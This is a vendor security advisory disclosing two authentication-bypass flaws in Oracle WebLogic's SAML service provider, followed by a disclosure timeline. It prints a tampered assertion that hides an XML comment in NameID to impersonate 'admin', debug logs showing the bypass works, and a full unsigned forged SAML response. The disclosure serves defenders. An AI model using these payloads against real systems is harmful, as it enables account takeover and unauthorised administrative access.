Two vulnerabilities were discovered within the Oracle WebLogic SAML service provider authentication mechanism. By inserting an XML comment into the SAML NameID tag, an attacker can coerce the SAML service provider to log in as another user. Additionally, WebLogic does not require signed SAML assertions in the default configuration. By omitting the signature portions from a SAML assertion, an attacker can craft an arbitrary SAML assertion and bypass the authentication mechanism.

Date Released: 18/07/2018
CVE: CVE-2018-2998 CVE-2018-2933
Author: Denis Andzakovic
Vendor Website: http://www.oracle.com
Affected Software: Oracle Fusion Middleware 12c (12.2.1.3.0) WebLogic Server

SAML Authentication Bypass

By inserting an XML comment, an attacker can coerce the WebLogic SAML Service Provider to log in as another user. When an XML comment is added inside a NameID tag, the WebLogic server only processes the string after the comment. Adding the XML comment does not invalidate the SAML assertion’s signature.

For example; an attacker who can register the user attackeradmin with the identity provider may log in, tamper the resulting valid SAML assertion without invalidating the signature and gain access as the admin user. The following figure details the tampered assertion (the full assertion has been omitted for brevity):

<saml2:Assertion>
    <saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
        <saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified">attacker<!---->admin</saml2:NameID>
    </saml2:Subject>
</saml2:Assertion>

The following figure shows the relevant debug log lines. Complete log lines have been omitted for brevity:

<Debug> <SecuritySAML2Service> <weblogic.localdomain> <AdminServer> <[ACTIVE] ExecuteThread: '2' for queue: 'weblogic.kernel.Default (self-tuning)'> <<WLS Kernel>> <> <94584814-7693-4517-b1ce-d6cf53870dcb-00000043> <1524397013394> <[severity-value: 128] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-000000> <BASE64 decoded saml message:_ommited_<saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified">attacker<!---->admin</saml2:NameID>_ommited_
<Debug> <SecuritySAML2Atn> <weblogic.localdomain> <AdminServer> <[ACTIVE] ExecuteThread: '2' for queue: 'weblogic.kernel.Default (self-tuning)'> <<WLS Kernel>> <> <94584814-76934517-b1ce-d6cf53870dcb-00000043> <1524397013408> <[severity-value: 128] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-000000> <DefaultSAML2NameMapperImpl: mapName: Mapped name: qualifier: null, name: admin>
<Debug> <SecuritySAML2Atn> <weblogic.localdomain> <AdminServer> <[ACTIVE] ExecuteThread: '2' for queue: 'weblogic.kernel.Default (self-tuning)'> <<WLS Kernel>> <> <94584814-76934517-b1ce-d6cf53870dcb-00000043> <1524397013408> <[severity-value: 128] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-000000> <SAMLIACallbackHandler: callback[0]: NameCallback: setName(admin)> 

SAML Insecure Defaults - Missing Signature Verification

In the default configuration, WebLogic does not require SAML assertions to be signed. If the signature section is omitted from a SAML response, then no signature verification is performed. This behavior can be used to bypass authentication and gain access as an arbitrary user.

The following screenshot shows the default configuration for assertion signature checking:

The option above corresponds to the SingleSignOnServicesMBean.WantAssertionsSigned MBean attribute. In this default configuration, an attacker may remove the Signature tags from the SAML assertion, tamper the assertion (usually setting the ds:NameID to a target user) and log in as any user. The following XML shows an example SAML assertion for a user called ‘admin’ with the Signature tags removed.

<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:7001/saml2/sp/acs/post" ID="id39453084082248801717742013" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
    <saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameidformat:entity">REDACTED</saml2:Issuer>
    <saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
        <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
    </saml2p:Status>
    <saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id3945308408248426654986295" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
        <saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">REDACTED</saml2:Issuer>
        <saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified">admin</saml2:NameID>
            <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <saml2:SubjectConfirmationData NotOnOrAfter="2018-04-22T10:33:53.593Z" Recipient="http://localhost:7001/saml2/sp/acs/post" />
            </saml2:SubjectConfirmation>
        </saml2:Subject>
        <saml2:Conditions NotBefore="2018-04-22T10:23:53.593Z" NotOnOrAfter="2018-0422T10:33:53.593Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml2:AudienceRestriction>
                <saml2:Audience>WLS_SP</saml2:Audience>
            </saml2:AudienceRestriction>
        </saml2:Conditions>
        <saml2:AuthnStatement AuthnInstant="2018-04-22T10:28:49.876Z" SessionIndex="id1524392933593.694282512" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml2:AuthnContext>
                <saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
            </saml2:AuthnContext>
        </saml2:AuthnStatement>
    </saml2:Assertion>
</saml2p:Response>

Timeline

26/04/2018 - Advisory sent to Oracle
26/04/2018 - Advisory acknowledged
27/04/2018 - Case numbers S1003812 and S1003820 assigned to track the SAML authentication bypass and insecure defaults, respectively
25/05/2018 - Automated email update received from Oracle
23/06/2018 - Email from Oracle requesting a the disclosure for the insecure defaults to be delayed until at least October
26/06/2018 - Automated email update received from Oracle
05/07/2018 - Response sent to Oracle, advised the original disclosure date will remain
14/07/2018 - Oracle advised both issues are fixed in the upcoming July 17th critical patch update
18/07/2018 - Advisory released